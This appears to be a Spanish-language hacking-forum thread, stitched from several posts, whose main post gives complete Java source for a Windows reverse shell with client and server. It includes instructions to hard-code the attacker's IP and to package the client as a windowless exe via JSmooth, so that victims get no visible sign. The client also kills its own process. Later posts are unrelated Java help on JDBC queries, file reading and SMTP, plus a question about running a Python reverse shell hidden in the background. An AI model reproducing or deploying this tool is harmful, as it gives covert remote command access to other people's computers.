Bueno, dado que no tuve maneras de hacerlo con python, lo he acabado haciendo en Java XD
Aunque ha quedado mas largo de lo que me gustaria....

Bueno, pues es eso, dejais a la escucha el servidor y cuando alguien ejecute el cliente os devuelve acceso a una linea de comandos sin que a el le aparezca nada :3

Hay que ponerle tu ip y un puerto en los valores por defectos dentro del cliente para que se conecte automaticamente
En cuanto al puerto, cuanto mas alto, mas gloria (no useis uno bajo...)

Lo suyo es que si lo vais a usar comprimais en un jar el servidor y en otro el cliente, y luego el cliente lo convirtais en un exe con JSmooth
Para ello en el JSmooth le poneis:
-En Skeleton: Windowed Wrapper y le borrais todos los mensajes
-En Executable los valores que querais
-En Application le añadis el jar y le selecionas la main class, acordaros tambien de añadir el mismo jar en lo de embedded jar


Cliente

-Main

/**
 *
 * Autor: Danther
 * Fecha: 03/08/2009
 *
 **/
 
package reverse_cliente;
 
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.Socket;
 
public class Main {
 
    private Socket s;
    private BufferedReader comandos;
    private PrintWriter envioRespuesta;
    private PrintWriter envioComando;
    private BufferedReader lecturaComando;
    public static boolean activo = true;
    private char unidad;
    private String directorio;
    private Process t;
 
    Main(String[] args){
        //Abrimos un socket hacia nuestra maquina
        try{
            s = new Socket(args[0], Integer.parseInt(args[1]));
        }catch(Exception e){
            System.out.println("Host o puerto no validos");
            System.exit(-1);
        }
        //Creamos los stream socket, para recibir los comandos
        try{
            comandos = new BufferedReader(new InputStreamReader(s.getInputStream()));
            envioRespuesta = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
            envioRespuesta.println("Conexion abierta desde "+s.getInetAddress().toString()+" por el puerto "+s.getLocalPort());
            envioRespuesta.flush();
        }catch(IOException ioe){
            System.out.println("Error al crear los streams");
            System.exit(-1);
        }
        //Obtenemos la unidad en la que se encuentra este archivo
        unidad = this.getClass().getResource("").getPath().charAt(6);
        directorio = unidad+":"barra invertida""barra invertida""; //Poner las barras invertidas de verdad antes de compilar,
                             //las he quitado por problemas con el code de phpbb
        //Abrimos el interprete de comandos en la raiz de la unidad y se lo pasamos a Lectura
        try {            
            t = Runtime.getRuntime().exec("cmd /K cd "+directorio);            
            envioComando = new PrintWriter(new OutputStreamWriter(t.getOutputStream()));
            lecturaComando = new BufferedReader(new InputStreamReader(t.getInputStream()));
            //Finalizamos el proceso del ejecutable, y dejamos solo el cmd.exe y java corriendo
            envioComando.println("taskkill /F /IM Reverse_Cliente.exe");
            envioComando.println();
            envioComando.flush();
        } catch (IOException ex) {
            System.out.println("Error al abrir el interprete de comandos");
            System.exit(-1);
        }
    }
 
    private void Reverse(){
        String com;
        String resp;
        try {
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.flush();
        } catch (Exception u) {
            activo = false;
            this.close();
        }
 
        //Bucle principal
        while(activo){
            //Esperamos una nueva orden, en caso de ser C3rrand0 finaliza la ejecucion
            try{
                com = comandos.readLine();
                if(com.indexOf("C3rrand0") != -1){
                    activo = false;
                    this.close();
                    break;
                }
            }catch(IOException ioe){
                activo = false;
                this.close();
                break;
            }
            //Ejecutamos la nueva orden y enviamos la respuesta
            try{
                envioComando.println(com);
                envioComando.println("55221276");
                envioComando.flush();
                while((resp = lecturaComando.readLine()).indexOf("55221276") == -1){
                    envioRespuesta.println(resp);
                    envioRespuesta.flush();
                }
            }catch(Exception i){
            }
        }
    }
 
    private void close(){
        //Cerramos los streams y el socket
        try {
            lecturaComando.close();
            envioRespuesta.close();
            envioComando.close();
            comandos.close();
            s.close();
            System.exit(0);
        } catch (IOException ex) {
            System.out.println("Error al cerrar");
            System.exit(-1);
        }
 
    }
 
    public static void main(String[] args) {
        Main main = null;
        if(args.length == 2){
            main = new Main(args);
            main.Reverse();
        }else if(args.length != 0){
            System.out.println("Reverse Shell en Windows por Danther (Cliente)");
            System.out.println("====================================");
            System.out.println();
            System.out.println("Uso:");
            System.out.println("Reverse_Cliente.exe \"Tu propia ip\" \"Un puerto a la escucha\"");
            System.exit(0);
        //Si se ejecuta sin argumentos
        }else{
            String[] argsD = {"Host por defecto", "Puerto por defecto"};
            main = new Main(argsD);
            main.Reverse();
        }
    }
 
}
 

Servidor

-Main

/**
 *
 * Autor: Danther
 * Fecha: 03/08/2009
 *
 **/
 
package reverse_servidor;
 
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;
 
public class Main {
 
    private ServerSocket ss;
    private Socket s;
    private PrintWriter comandos;
    private BufferedReader envio;
    protected static boolean activo = true;
 
    Main(String[] args){
        try {
            //Creamos el servidor y esperamos a una conexion entrante
            ss = new ServerSocket(Integer.parseInt(args[0]));
            s = ss.accept();
            //Creamos un stream para enviar comandos y otro para leer nuestra entrada
            comandos = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
            envio = new BufferedReader(new InputStreamReader(System.in));
            //Iniciamos el thread lectura
            Lectura lectura = new Lectura(s);
            lectura.start();
        } catch (Exception ex) {
            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
 
    private void Envio() {
        String env;
        //Bucle principal
        while(activo){
            //Leemos nuestra entrada y la enviamos al cliente, si esta es C3rrand0 ceramos la conexion
            try {
                env = envio.readLine();
                comandos.println(env);
                comandos.flush();
                if(env.indexOf("C3rrand0") != -1){
                    activo = false;                    
                    this.close();
                    break;
                }
            } catch (IOException ex) {
                Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
                activo = false;
                this.close();
                break;
            }
        }
    }
 
    private void close() {
        //Cerramos los stream y los sockets
        try {
            Lectura.respuesta.close();
            comandos.close();
            envio.close();
            s.close();
            ss.close();
        } catch (IOException ex) {
            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
            System.exit(-1);
        }
 
    }
 
    public static void main(String[] args) {
        Main main = null;
        if(args.length == 2){
            main = new Main(args);
            main.Envio();
        }else if(args.length != 0){
            System.out.println("Reverse Shell en Windows por Danther (Servidor)");
            System.out.println("====================================");
            System.out.println();
            System.out.println("Uso:");
            System.out.println("Reverse_Servidor.jar \"Un puerto local a la escucha\", \"Cualquier valor\"");
            System.exit(0);
        }else{
            //Si se ejecuta sin argumentos
            String[] argsD = {"Puerto local por defecto", "0"};
            main = new Main(argsD);
            main.Envio();
        }
    }
 
}
 
 

-Lectura

/**
 *
 * Autor: Danther
 * Fecha: 03/08/2009
 *
 **/
 
package reverse_servidor;
 
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.Socket;
 
public class Lectura extends Thread{
 
    protected static BufferedReader respuesta;
 
    Lectura(Socket s) throws IOException{
        //Creamos un stream para leer lo que envie el socket
        respuesta = new BufferedReader(new InputStreamReader(s.getInputStream()));
    }
 
    @Override
    public void run() {
        String resp;
        //Blucle principal
        while(Main.activo){
            //Leemos la entrada del socket y la mostramos
            try {
                resp = respuesta.readLine();
                if (resp != null){
                System.out.println(resp);
                }
            } catch (IOException ex) {
                System.out.println("Conexion terminada");
                Main.activo = false;
            }
        }
    }
 
}
 

Pd: Como lo useis, modifiqueis y/o integreis, es cosa vuestra :3 XD

Al reves.

If rs.getObject("nombre") != null {
Aceso Granted
}else{
Acess Denegado
}
 

Pero ten en mente que esto solo leera el primer elemento de rs (creo xD)
Asi que te servira para cuando quieras comprobar un unico resultado, si no siempre puedes hacer lo que bien te ha puesto BadDevil comentarios atras para obtener el resto de valores (en este caso seria next())

Si eso aqui tienes la api del ResultSet, por si tienes que mirarte mas cosas:
http://java.sun.com/j2se/1.4.2/docs/api/java/sql/ResultSet.html

No se, mirate esto:
http://java.sun.com/j2se/1.4.2/docs/api/java/io/RandomAccessFile.html

De todas formas el vector (con array tambien valdria) actua de forma parecida ._.

Es muy versatil, por poner un ejemplo:

-Lees el documento
-Si encuentras el "comienzo de una cadena" empiezas a copiar chars en el vector
-Si llega al final de la cadena y no ha encontrado la almohadilla, borra los elementos antiguos del vector y sigue escribiendo los nuevos chars
-Si encuentra almohadilla, tienes la cadena guardada y ya haces lo que sea que quieras hacerle a la cadena

Si no existe valor es que no existe un Debci con id 1
Si ha retornado "algo" no hace falta que lo compruebes porque ese "algo" a la fuerza tiene que ser lo que has pedido en el query.

Asi que bastaria con rs.getObject("nombre") != null o algo asi
Parece una tonteria, pero asi es mas facil para hacer consultas interactivas (por ejemplo que lo que quieras consultar se lo pases por parametro)

Me has dejado asi -> @.@
No entiendo a que te refieres con lo de "comienzo de otra cadena" ._.

Pero asi de forma general, puedes probar lo siguiente:

Vas leyendo caracter a caracter el documento, y lo vas guardando en un vector (importado de java.util.vector)
Luego ya puedes acceder a cada elemento como te de la gana, ya que estan numeraditos :3 (igual que en un array)
Sease, puedes quedarte con la posicion donde "comienza cada cadena", invertir el orden... lo que necesites

Bueno, la cosa es que he estado mirando como usar python para una reverse shell en sistemas linux

Pero al ir a crear yo una en windows, me he dado cuenta de un pequeño inconveniente, windows no acepta de forma nativa el fork
Asi que no puedo correr python como un daemon

Las unicas soluciones que he encontrado son: usar programas externos para convertirlo en un servicio de windows, convertir mi .py en un ejecutable con py2exe e indicarle que no use la consola o usar el cygwin

El problema es que ninguno de esos metodos son viables para un reverse shell (o eso creo XD)

Entonces, ¿como podria hacer que un programa en python no dependiera de la consola o se ejecutara en segundo plano?
¿No es el lenguaje indicado para esto? ¿Deberia quemar windows...?

Un servidor smtp externo que este bien configurado no deberia tener ningun problema
La cosa es que un servidor local corriendo bajo una ip normal y corriente tiene todas las papeletas para que ni te contesten (tambien depende de la seguridad de a quien se lo envies claro...)

Yo de todas formas me contento con usar tu clase (¡Gracias! ^^) con el smtp de hotmail, que a diferencia del de gmail no te remodifica el remitente y para el caso hace el apaño XD

Personalmente no he usado java para conectar con mysql, pero supongo que estes usando lo que estes usando te debe permitir hacer una query tipica, como:

"SELECT nombre_columna FROM tabla_elegida WHERE nombre_columna = usuario_introducido AND password_columna = password_introducido"

Luego es cuestion de comprobar si la query ha retornado alguna coincidencia, y en caso de haberla permitir el paso

Si estas usando JDBC mirate la API, porque trae metodos para hacer todo lo que te he dicho

Voy a ver si me instalo en el otro disco duro que tengo debian (actualmente uso windows ._.) y pruebo con el servidor smtp que trae

De todas formas segun he leido por ahi, el problema mas bien radica en la serie de filtros de spam que hotmail / gmail / yahooo etc usan
Cosas como el PBL, los sistemas de puntos etc
Que o tienes un dominio de correo de verdad, o nada de nada ._.

En fin...

Si te refieres a leer la pagina empezando desde el ultimo caracter y hacia atras....
¿No te sería mas facil ir concatenando con readLine() y luego invertir la cadena con reverse()?
Luego si quieres puedes leer esa cadena caracter a caracter ^^